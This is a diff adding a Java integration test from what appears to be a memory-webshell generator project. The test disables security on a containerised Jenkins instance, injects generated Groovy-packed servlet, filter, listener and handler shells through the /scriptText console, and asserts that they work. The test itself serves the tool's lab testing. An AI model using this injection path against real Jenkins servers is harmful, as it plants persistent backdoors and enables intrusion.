|
| 1 | +package com.reajason.javaweb.integration.memshell.jenkins; |
| 2 | + |
| 3 | +import com.reajason.javaweb.Server; |
| 4 | +import com.reajason.javaweb.integration.AbstractContainerTest; |
| 5 | +import com.reajason.javaweb.integration.ContainerTestConfig; |
| 6 | +import com.reajason.javaweb.integration.ShellAssertion; |
| 7 | +import com.reajason.javaweb.memshell.MemShellResult; |
| 8 | +import com.reajason.javaweb.memshell.ShellTool; |
| 9 | +import com.reajason.javaweb.memshell.ShellType; |
| 10 | +import com.reajason.javaweb.memshell.config.ShellToolConfig; |
| 11 | +import com.reajason.javaweb.packer.Packers; |
| 12 | +import lombok.SneakyThrows; |
| 13 | +import net.bytebuddy.jar.asm.Opcodes; |
| 14 | +import okhttp3.FormBody; |
| 15 | +import okhttp3.OkHttpClient; |
| 16 | +import okhttp3.Request; |
| 17 | +import okhttp3.RequestBody; |
| 18 | +import okhttp3.Response; |
| 19 | +import org.apache.commons.lang3.tuple.Pair; |
| 20 | +import org.testcontainers.containers.GenericContainer; |
| 21 | +import org.testcontainers.containers.Network; |
| 22 | +import org.testcontainers.containers.wait.strategy.Wait; |
| 23 | +import org.testcontainers.junit.jupiter.Container; |
| 24 | +import org.testcontainers.junit.jupiter.Testcontainers; |
| 25 | +import org.testcontainers.utility.MountableFile; |
| 26 | + |
| 27 | +import java.nio.file.Path; |
| 28 | +import java.util.List; |
| 29 | +import java.util.Locale; |
| 30 | +import java.util.Map; |
| 31 | + |
| 32 | +import static org.junit.jupiter.api.Assertions.assertTrue; |
| 33 | + |
| 34 | +/** |
| 35 | + * @author ReaJason |
| 36 | + * @since 2024/12/7 |
| 37 | + */ |
| 38 | +@Testcontainers |
| 39 | +public class JenkinsJetty12ee9ContainerTest extends AbstractContainerTest { |
| 40 | + private static final ContainerTestConfig CONFIG = ContainerTestConfig |
| 41 | + .builder() |
| 42 | + .imageName("jenkins/jenkins:2.492.1") |
| 43 | + .env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false")) |
| 44 | + .server(Server.Jetty) |
| 45 | + .jakarta(true) |
| 46 | + .serverVersion("12") |
| 47 | + .targetJdkVersion(Opcodes.V17) |
| 48 | + .contextPath("") |
| 49 | + .healthCheckPath("/login") |
| 50 | + .assertLogs(false) |
| 51 | + .waitStrategy(Wait.forHttp("/login").forPort(8080)) |
| 52 | + .supportedShellTypes(List.of( |
| 53 | + ShellType.JAKARTA_SERVLET, |
| 54 | + ShellType.JAKARTA_FILTER, |
| 55 | + ShellType.JAKARTA_LISTENER, |
| 56 | + ShellType.JAKARTA_HANDLER |
| 57 | + )) |
| 58 | + .testPackers(List.of(Packers.Groovy)) |
| 59 | + .unSupportedShellTools(List.of(ShellTool.AntSword)) |
| 60 | + .enableJspPackerTest(false) |
| 61 | + .build(); |
| 62 | + |
| 63 | + private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath( |
| 64 | + Path.of("script", "disable-security.groovy").toAbsolutePath()); |
| 65 | + private static final OkHttpClient HTTP_CLIENT = new OkHttpClient(); |
| 66 | + |
| 67 | + static Network network = newNetwork(); |
| 68 | + @Container |
| 69 | + public static final GenericContainer<?> python = buildPythonContainer(network); |
| 70 | + |
| 71 | + @Container |
| 72 | + public static final GenericContainer<?> container = buildContainer(CONFIG, network) |
| 73 | + .withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy"); |
| 74 | + |
| 75 | + @Override |
| 76 | + protected ContainerTestConfig getConfig() { |
| 77 | + return CONFIG; |
| 78 | + } |
| 79 | + |
| 80 | + @Override |
| 81 | + protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) { |
| 82 | + String url = getUrl(); |
| 83 | + Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); |
| 84 | + String shellUrl = urls.getLeft().replace("/test", "/scriptText"); |
| 85 | + String urlPattern = urls.getRight(); |
| 86 | + ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer); |
| 87 | + MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(), |
| 88 | + shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer); |
| 89 | + String payload = packer.getInstance().pack(generateResult.toClassPackerConfig()); |
| 90 | + |
| 91 | + injectByScriptText(url, payload); |
| 92 | + ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer()); |
| 93 | + } |
| 94 | + |
| 95 | + @SneakyThrows |
| 96 | + private void injectByScriptText(String url, String payload) { |
| 97 | + RequestBody requestBody = new FormBody.Builder() |
| 98 | + .add("script", payload) |
| 99 | + .build(); |
| 100 | + Request request = new Request.Builder() |
| 101 | + .header("Content-Type", "application/x-www-form-urlencoded") |
| 102 | + .url(url + "/scriptText") |
| 103 | + .post(requestBody) |
| 104 | + .build(); |
| 105 | + try (Response response = HTTP_CLIENT.newCall(request).execute()) { |
| 106 | + String body = response.body().string(); |
| 107 | + assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body); |
| 108 | + assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body); |
| 109 | + } |
| 110 | + } |
| 111 | + |
| 112 | + private boolean isScriptTextResponseOk(String body) { |
| 113 | + String normalizedBody = body.toLowerCase(Locale.ROOT); |
| 114 | + return !normalizedBody.contains("groovy.lang.missing") |
| 115 | + && !normalizedBody.contains("groovy.lang.groovyruntimeexception") |
| 116 | + && !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception") |
| 117 | + && !normalizedBody.contains("script1.groovy") |
| 118 | + && !normalizedBody.contains("exception"); |
| 119 | + } |
| 120 | +} |
0 commit comments